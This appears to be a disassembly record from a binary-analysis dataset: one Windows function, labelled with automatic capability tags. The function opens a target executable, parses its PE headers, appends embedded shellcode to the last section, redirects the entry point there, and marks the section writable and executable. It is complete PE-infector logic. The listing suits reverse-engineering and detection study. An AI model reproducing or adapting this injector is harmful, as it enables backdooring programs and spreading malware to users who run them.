Function at 0x401460
Capabilities:
Get file size
Parse pe header
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x50
mov ebx, ecx
call sym.___main
cmp dword [ebx], 1
jg 0x4014a9
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Usage:__s__TARGET_FILE__n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, 1
jmp 0x4018a0
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xc0000000
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401527
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1c
mov dword [esp + 4], 1
mov dword [esp], str.Could_not_open_target_file._n
call sym._fwrite
mov eax, 1
jmp 0x4018a0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401586
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x19
mov dword [esp + 4], 1
mov dword [esp], str.Could_not_get_file_size._n
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 1
jmp 0x4018a0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CreateFileMappingA_24
sub esp, 0x18
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401604
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1f
mov dword [esp + 4], 1
mov dword [esp], str.Could_not_create_file_mapping._n
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 1
jmp 0x4018a0
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._MapViewOfFile_20
sub esp, 0x14
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401688
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1c
mov dword [esp + 4], 1
mov dword [esp], str.Could_not_map_view_of_file._n
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 1
jmp 0x4018a0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4016c7
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
mov dword [esp], str.Invalid_DOS_signature._n
call sym._fwrite
jmp 0x401839
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x1c]
add eax, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x401710
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x16
mov dword [esp + 4], 1
mov dword [esp], str.Invalid_PE_signature._n
call sym._fwrite
jmp 0x401839
mov eax, dword [ebp - 0x24]
movzx eax, word [eax + 6]
movzx edx, ax
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov ecx, eax
mov eax, dword [ebp - 0x24]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0x24]
add eax, edx
add eax, ecx
sub eax, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], 0xaa
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x10]
add eax, edx
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
add eax, edx
cmp eax, dword [ebp - 0x14]
jbe 0x40178f
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov dword [esp + 4], 1
mov dword [esp], str.Not_enough_space_for_shellcode._n
call sym._fwrite
jmp 0x401839
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
add edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x405020
mov dword [esp], edx
call sym._memcpy
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x10]
add edx, eax
mov eax, dword [ebp - 0x24]
mov dword [eax + 0x28], edx
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0xc]
add edx, eax
mov eax, dword [ebp - 0x28]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0xc]
add edx, eax
mov eax, dword [ebp - 0x28]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x24]
or eax, 0xe0000000
mov edx, eax
mov eax, dword [ebp - 0x28]
mov dword [eax + 0x24], edx
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._FlushViewOfFile_8
sub esp, 8
test eax, eax
jne 0x401839
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_flush_memory_to_file._n
call sym._fwrite
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._UnmapViewOfFile_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._SetFilePointer_16
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._SetEndOfFile_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret